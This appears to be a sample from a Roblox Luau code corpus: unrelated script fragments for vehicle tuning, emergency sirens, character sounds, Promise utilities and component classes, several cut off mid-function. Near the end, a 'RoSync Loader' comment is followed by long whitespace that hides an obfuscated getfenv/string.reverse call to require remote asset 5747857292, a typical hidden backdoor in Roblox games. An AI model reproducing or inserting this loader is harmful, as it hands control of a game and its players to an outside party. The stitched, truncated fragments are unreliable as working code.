Roblox/luau_corpus huggingface dataset:
--[[Transmission]]
	Tune.TransModes		= {"Auto","Semi"}								--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch
		
		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}								
		>First mode is default mode													]]
	
	--Automatic Settings
	Tune.AutoShiftMode	= "RPM"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM											]]	
	Tune.AutoUpThresh	= -200		--Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		--Automatic downshift point (relative to peak RPM, positive = Under-rev)
	
     --Gear Ratios
	Tune.FinalDrive		= 1.6		 --	[TRANSMISSION CALCULATIONS FOR NERDS]
	Tune.Ratios			= {			 --		SPEED [SPS]	 = (Wheel diameter(studs) * pi(3.14) * RPM) / (60 * Gear Ratio * Final Drive * Multiplier)
		--[[Reverse]]	3.40		,--		WHEEL TORQUE = Engine Torque * Gear Ratio * Final Drive * Multiplier
		--[[Neutral]]	0			,
		--[[ 1 ]]		3.77      	,
		--[[ 2 ]]		2.34		,
		--[[ 3 ]]		1.52		,
		--[[ 4 ]]		1.14		,
		--[[ 5 ]]		0.86		,
		--[[ 6 ]]		0.69   	,
	}
	Tune.FDMult			= 5			-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
-- NOTE: TEXTBOUNDS.X CANNOT BE MORE THAN TEXTLABEL.ABSOLUTESIZE.X OR YOU WILL GET UNDESIRABLE BEHAVIOR

local root = script.Parent

local surfaces = {
	'Front',
	'Left',
	'Back',
	'Right'
}

local speed = 3 -- how many seconds it should take to travel across one surface
local size = 2 -- the number of textlabels to move before and after the current one

function GetPreceedingLabels(index)
	local labels = {}
	
	for i=1,size do
		local this = index-i
		
		table.insert(labels, 
			root:FindFirstChild(surfaces[this] or surfaces[#surfaces+this], true).Frame.TextLabel
		)
	end
	
	return labels
end

function GetSucceedingLabels(index)
	local labels = {}
	
	for i=1,size do
		local this = index+i
--					if _TMode == "Auto" and _CGear==-1 then brake = _GBrake end
					
					--Apply ABS
					local tqABS = 1
					if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then
						tqABS = 0
					end
					if tqABS < 1 then
						_ABSActive = true
					end
					
					--Update Forces
					if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
						v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS
					else
						v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS
					end
					v["#AV"].angularvelocity=Vector3.new()
				end
			end
		end
	end

	script.Parent.Values.RPM.Changed:connect(function()
		if car.DriveSeat.Mode.Value == "Eco" then
			if _RPM > 260 then
				car.DriveSeat.Tic.Value = true
			else
				car.DriveSeat.Tic.Value = false
			end
		end
	end)
	car.DriveSeat.Tic.Changed:connect(function()
		if car.DriveSeat.Tic.Value == true and car.DriveSeat.Mode.Value == "Eco" then
			car.DriveSeat.EcoStart:Play()
		end
	end)
----- TOOL DATA -----
-- How much damage a bullet does
local Damage = 18
----------SCRIPTED BY ZEDARKALIEN----------

local button = script.Parent
local player = game.Players.LocalPlayer
local gamePassId = script.Parent.GamepassId

button.MouseButton1Click:connect(function()
	if player then
		game:GetService("MarketplaceService"):PromptGamePassPurchase(player, gamePassId.Value)
	end
end)
--// F key, Horn
mouse.KeyUp:connect(function(key)
	if key=="f" then 
		veh.Lightbar.middle.Airhorn:Stop()
		veh.Lightbar.middle.Wail.Volume = 1
		veh.Lightbar.middle.Yelp.Volume = 1
		veh.Lightbar.middle.Priority.Volume = 1
	end
end)
-- connect events
Humanoid.Died:connect(onDied)
Humanoid.Running:connect(onRunning)
Humanoid.Jumping:connect(onJumping)
--// # key, ally
mouse.KeyDown:connect(function(key)
	if key=="." then 
		veh.Lightbar.middle.Beep:Play()
		veh.Lightbar.Remotes.AllyEvent:FireServer(true)
	end
end)
--!nonstrict
-- Roblox character sound script

local Players = game:GetService("Players")
local RunService = game:GetService("RunService")

local AtomicBinding = require(script:WaitForChild("AtomicBinding"))

local function loadFlag(flag: string)
	local success, result = pcall(function()
		return UserSettings():IsUserFeatureEnabled(flag)
	end)
	return success and result
end

local SOUND_DATA : { [string]: {[string]: any}} = {
	Climbing = {
		SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3",
		Looped = true,
	},
	Died = {
		SoundId = "rbxassetid://1237557124",
	},
	FreeFalling = {
		SoundId = "rbxasset://sounds/action_falling.mp3",
		Looped = true,
	},
	GettingUp = {
		SoundId = "rbxasset://sounds/action_get_up.mp3",
	},
	Jumping = {
		SoundId = "rbxasset://sounds/action_jump.mp3",
	},
	Landing = {
		SoundId = "rbxasset://sounds/action_jump_land.mp3",
	},
	Running = {
		SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3",
		Looped = true,
		Pitch = 1.85,
	},
	Splash = {
		SoundId = "rbxasset://sounds/impact_water.mp3",
	},
	Swimming = {
		SoundId = "rbxasset://sounds/action_swim.mp3",
		Looped = true,
		Pitch = 1.6,
	},
}
-- Service elements
local ValueRemote = ReplicatedStorage:WaitForChild("Value")

local Player = Players.LocalPlayer
local leaderstats = Player:WaitForChild("leaderstats")
local Stage = leaderstats:WaitForChild("Stage")
local MaxLevel = Player:WaitForChild("MaxLevel")
--// if a player focuses on a textbox like chat, dont switch players while typing //--
UIS.TextBoxFocused:connect(function()
	focusedOnText = true
end)
-- Handle command invocations from the clients.
Cmdr.RemoteFunction.OnServerInvoke = function (player, text, options)
	if #text > 1_000 then
		return "Input too long"
	end

	return Cmdr.Dispatcher:EvaluateAndRun(text, player, options)
end

return Cmdr
--[=[
	Sets the top-level value of all clients to the same value.
	
	:::note Override Per-Player Data
	This will override any per-player data that was set using
	`SetFor` or `SetFilter`. To avoid overriding this data,
	`SetTop` can be used instead.
	:::

	```lua
	-- Examples
	remoteProperty:Set(10)
	remoteProperty:Set({SomeData = 32})
	remoteProperty:Set("HelloWorld")
	```
]=]
function RemoteProperty:Set(value: any)
	self._value = value
	table.clear(self._perPlayer)
	self._rs:FireAll(value)
end
-------------------------
function onClicked()
R.BrickColor = BrickColor.new("Really red")
C.One.BrickColor = BrickColor.new("Really black")
C.Two.BrickColor = BrickColor.new("Really black")
C.Three.BrickColor = BrickColor.new("Really black")
C.Four.BrickColor = BrickColor.new("Really black")
C.MIC.BrickColor = BrickColor.new("Really black")
C.B.BrickColor = BrickColor.new("Really black")
C.M.BrickColor = BrickColor.new("Really black")
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
---S-T-U-F-F--S-O-U-P---
TN = {"Target","Body","Wheels"}
TARGET = nil
Lplayer = game.Players.LocalPlayer
Cam =	script.Parent.BodyValue.Value.campart
activekey = false
db = false
pathtoremote = script.Parent.BodyValue.Value.CameraParts
workspace.CurrentCamera.CameraType = "Custom"
workspace.CurrentCamera.CameraSubject = Cam
workspace.CurrentCamera.FieldOfView = 120
game.Players.LocalPlayer.CameraMaxZoomDistance = 1
game.Players.LocalPlayer.CameraMode = Enum.CameraMode.LockFirstPerson
mouse = game.Players.LocalPlayer:GetMouse()
mouse.Icon = "http://www.roblox.com/asset/?id=18662154"
mouse.TargetFilter = Cam.Parent.Parent
prnt = game.Players.LocalPlayer.PlayerGui.TargetScreen
runservice = game:GetService("RunService")
--[=[
	@within RemoteSignal
	@interface Connection
	.Disconnect () -> nil
]=]

function RemoteSignal.new(parent: Instance, name: string, inboundMiddleware: Types.ServerMiddleware?, outboundMiddleware: Types.ServerMiddleware?)
	local self = setmetatable({}, RemoteSignal)
	self._re = Instance.new("RemoteEvent")
	self._re.Name = name
	self._re.Parent = parent
	if outboundMiddleware and #outboundMiddleware > 0 then
		self._hasOutbound = true
		self._outbound = outboundMiddleware
	else
		self._hasOutbound = false
	end
	if inboundMiddleware and #inboundMiddleware > 0 then
		self._directConnect = false
		self._signal = Signal.new()
		self._re.OnServerEvent:Connect(function(player, ...)
			local args = table.pack(...)
			for _,middlewareFunc in ipairs(inboundMiddleware) do
				local middlewareResult = table.pack(middlewareFunc(player, args))
				if not middlewareResult[1] then
					return
				end
				args.n = #args
			end
			self._signal:Fire(player, table.unpack(args, 1, args.n))
		end)
	else
		self._directConnect = true
	end
	return self
end
-- regeneration
while true do
	local s = wait(4)
	local health = Humanoid.Health
	if health > 0 and health < Humanoid.MaxHealth then
		health = health + 0.00 * s * Humanoid.MaxHealth
		if health * 1.05 < Humanoid.MaxHealth then
			Humanoid.Health = health
		else
			Humanoid.Health = Humanoid.MaxHealth
		end
	end
end
--[[**
		ensures value is an array of a strict makeup and size

		@param check The check to compare all values with

		@returns A function that will return true iff the condition is passed
	**--]]
	function t.strictArray(...)
		local valueTypes = { ... }
		assert(t.array(t.callback)(valueTypes))

		return function(value)
			local keySuccess = arrayKeysCheck(value)
			if keySuccess == false then
				return false
			end

			-- If there's more than the set array size, disallow
			if #valueTypes < #value then
				return false
			end

			for idx, typeFn in pairs(valueTypes) do
				local typeSuccess = typeFn(value[idx])
				if not typeSuccess then
					return false
				end
			end

			return true
		end
	end
end

do
	local callbackArray = t.array(t.callback)
-- So we don't rehit the same target multiple times
local flaggedForHit = {}

for _, part in pairs(parts) do
	local character = PartUtility.GetCharacterFromInstance_R(part)
	if not character then continue end
	-- Don't rehit the same character multiple times
	if flaggedForHit[character] then continue end
	flaggedForHit[character] = true
	
	APICombat.ApplyDamageToCharacter(owningPlayer,character,WeaponDefinition)	
end

Explosion.Parent = workspace

local effectPart = Instance.new("Part")
effectPart.Position = Explosion.Position
effectPart.Anchored = true
effectPart.Transparency = 1
effectPart.CanCollide = false
effectPart.Parent = workspace
--[[*
 * Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 ]]

type unknown = any --[[ ROBLOX FIXME: adding `unknown` type alias to make it easier to use Luau unknown equivalent when supported ]]
local CurrentModule = script.Parent
local Packages = CurrentModule.Parent
local LuauPolyfill = require(Packages.LuauPolyfill)
local Boolean = LuauPolyfill.Boolean
local Error = LuauPolyfill.Error
type Error = LuauPolyfill.Error
local exports = {}

export type ErrorWithStack = Error & {}
local ErrorWithStack = setmetatable({}, { __index = Error })
ErrorWithStack.__index = ErrorWithStack
function ErrorWithStack.new(
	message: string | nil,
	callsite: (...any) -> () | unknown,
	stackLimit: number?
): ErrorWithStack
	-- Ensure we have a large stack length so we get full details.
	local originalStackLimit = Error["stackTraceLimit"]
	if stackLimit ~= nil and stackLimit ~= 0 then
		Error["stackTraceLimit"] = math.max(
			stackLimit,
			Boolean.toJSBoolean(originalStackLimit) and originalStackLimit or 10
		)
	end

	local self = setmetatable(Error.new(message), ErrorWithStack)
	if Boolean.toJSBoolean(Error["captureStackTrace"]) then
		Error["captureStackTrace"](self, callsite)
	end
	Error["stackTraceLimit"] = originalStackLimit
	return (self :: any) :: ErrorWithStack
end
exports.default = ErrorWithStack
return exports
--[[
	Calls a callback on `finally` with specific arguments.
]]
function Promise.prototype:finallyCall(callback, ...)
	local length, values = pack(...)
	return self:finally(function()
		return callback(unpack(values, 1, length))
	end)
end
--[[Transmission]]
	Tune.TransModes		= {"Semi"}								--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch
		
		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}								
		>First mode is default mode													]]
	
	--Automatic Settings
	Tune.AutoShiftMode	= "Speed"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM											]]	
	Tune.AutoUpThresh	= -200		--Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		--Automatic downshift point (relative to peak RPM, positive = Under-rev)
	
	--Gear Ratios
	Tune.FinalDrive		= 3.06			-- Gearing determines top speed and wheel torque
	Tune.Ratios			= {				-- Higher ratio = more torque, Lower ratio = higher top speed
		--[[Reverse]]	3.70		,	-- Copy and paste a ratio to add a gear
		--[[Neutral]]	0			,	-- Ratios can also be deleted
		--[[ 1 ]]		3.53		,	-- Reverse, Neutral, and 1st gear are required
		--[[ 2 ]]		2.04		,
		--[[ 3 ]]		1.38		,
		--[[ 4 ]]		1.03		,
		--[[ 5 ]]		0.81		,
		--[[ 6 ]]		0.64		,
	}
	Tune.FDMult			= 1.5			-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
--[[ Roblox Services ]]--
local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local StarterGui = game:GetService("StarterGui")
local GuiService = game:GetService("GuiService")
local ContextActionService = game:GetService("ContextActionService")
local VRService = game:GetService("VRService")
local UserGameSettings = UserSettings():GetService("UserGameSettings")
--- Returns a function that is a fuzzy finder for the specified set or container.
-- Can pass an array of strings, array of instances, array of EnumItems,
-- array of dictionaries with a Name key or an instance (in which case its children will be used)
-- Exact matches will be inserted in the front of the resulting array
function Util.MakeFuzzyFinder(setOrContainer)
	local names
	local instances = {}

	if typeof(setOrContainer) == "Enum" then
		setOrContainer = setOrContainer:GetEnumItems()
	end

	if typeof(setOrContainer) == "Instance" then
		names, instances = transformInstanceSet(setOrContainer:GetChildren())
	elseif typeof(setOrContainer) == "table" then
		if
			typeof(setOrContainer[1]) == "Instance" or typeof(setOrContainer[1]) == "EnumItem" or
				(typeof(setOrContainer[1]) == "table" and typeof(setOrContainer[1].Name) == "string")
		 then
			names, instances = transformInstanceSet(setOrContainer)
		elseif type(setOrContainer[1]) == "string" then
			names = setOrContainer
		elseif setOrContainer[1] ~= nil then
			error("MakeFuzzyFinder only accepts tables of instances or strings.")
		else
			names = {}
		end
	else
		error("MakeFuzzyFinder only accepts a table, Enum, or Instance.")
	end

	-- Searches the set (checking exact matches first)
	return function(text, returnFirst)
		local results = {}

		for i, name in pairs(names) do
			local value = instances and instances[i] or name

			-- Continue on checking for non-exact matches...
			-- Still need to loop through everything, even on returnFirst, because possibility of an exact match.
			if name:lower() == text:lower() then
				if returnFirst then
					return value
				else
					table.insert(results, 1, value)
				end
			elseif name:lower():sub(1, #text) == text:lower() then
				results[#results + 1] = value
			end
		end

		if returnFirst then
			return results[1]
		end

		return results
	end
end
--[[Drivetrain]]	
	Tune.Config			= "RWD"		--"FWD" , "RWD" , "AWD"
	
	--Differential Settings	
	Tune.FDiffSlipThres	= 50		-- 1 - 100%				(Max threshold of applying full lock determined by deviation from avg speed)
	Tune.FDiffLockThres	= 50	-- 0 - 100%				(0 - Bias toward slower wheel, 100 - Bias toward faster wheel)
	Tune.RDiffSlipThres	= 50		-- 1 - 100%
	Tune.RDiffLockThres	= 50		-- 0 - 100%
	Tune.CDiffSlipThres	= 50		-- 1 - 100%				[AWD Only]
	Tune.CDiffLockThres	= 50		-- 0 - 100%				[AWD Only]
	
	--Traction Control Settings
	Tune.TCSEnabled		= true		-- Implements TCS
	Tune.TCSThreshold	= 20		-- Slip speed allowed before TCS starts working (in SPS)
	Tune.TCSGradient	= 20		-- Slip speed gradient between 0 to max reduction (in SPS)
	Tune.TCSLimit		= 10		-- Minimum amount of torque at max reduction (in percent)
--[[ Last synced 10/14/2020 09:09 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
-- Adds particles to the WeaponsSystem based off player creations (or uses a default if not present)

local ReplicatedStorage = game:GetService("ReplicatedStorage")
local ServerStorage = game:GetService("ServerStorage")

local blaster = ServerStorage:WaitForChild("Weapons"):WaitForChild("Blaster")
local WeaponSystem = blaster:WaitForChild("WeaponsSystem")
local RocketAsset = WeaponSystem.Assets.Effects.Shots.Rocket
--[[
	Retries a Promise-returning callback N times until it succeeds.
]]
function Promise.retry(callback, times, ...)
	assert(type(callback) == "function", "Parameter #1 to Promise.retry must be a function")
	assert(type(times) == "number", "Parameter #2 to Promise.retry must be a number")

	local args, length = {...}, select("#", ...)

	return Promise.resolve(callback(...)):catch(function(...)
		if times > 0 then
			return Promise.retry(callback, times - 1, unpack(args, 1, length))
		else
			return Promise.reject(...)
		end
	end)
end
Promise.prototype.Retry = Promise.prototype.retry
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 5 -- cooldown for use of the tool again

ZoneModelName = "Magic broke ground" -- name the zone model

MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
--[=[
	@tag Component Class
	@function HeartbeatUpdate
	@param dt number
	@within Component

	If this method is present on a component, then it will be
	automatically connected to `RunService.Heartbeat`.

	:::note Method
	This is a method, not a function. This is a limitation
	of the documentation tool which should be fixed soon.
	:::
	
	```lua
	local MyComponent = Component.new({Tag = "MyComponent"})
	
	function MyComponent:HeartbeatUpdate(dt)
	end
	```
]=]
--[=[
	@tag Component Class
	@function SteppedUpdate
	@param dt number
	@within Component

	If this method is present on a component, then it will be
	automatically connected to `RunService.Stepped`.

	:::note Method
	This is a method, not a function. This is a limitation
	of the documentation tool which should be fixed soon.
	:::
	
	```lua
	local MyComponent = Component.new({Tag = "MyComponent"})
	
	function MyComponent:SteppedUpdate(dt)
	end
	```
]=]
--[=[
	@tag Component Class
	@function RenderSteppedUpdate
	@param dt number
	@within Component
	@client

	If this method is present on a component, then it will be
	automatically connected to `RunService.RenderStepped`. If
	the `[Component].RenderPriority` field is found, then the
	component will instead use `RunService:BindToRenderStep()`
	to bind the function.

	:::note Method
	This is a method, not a function. This is a limitation
	of the documentation tool which should be fixed soon.
	:::
	
	```lua
	-- Example that uses `RunService.RenderStepped` automatically:

	local MyComponent = Component.new({Tag = "MyComponent"})
	
	function MyComponent:RenderSteppedUpdate(dt)
	end
	```
	```lua
	-- Example that uses `RunService:BindToRenderStep` automatically:
	
	local MyComponent = Component.new({Tag = "MyComponent"})

	-- Defining a RenderPriority will force the component to use BindToRenderStep instead
	MyComponent.RenderPriority = Enum.RenderPriority.Camera.Value
	
	function MyComponent:RenderSteppedUpdate(dt)
	end
	```
]=]

function Component:Destroy()
	self[KEY_TROVE]:Destroy()
end

return Component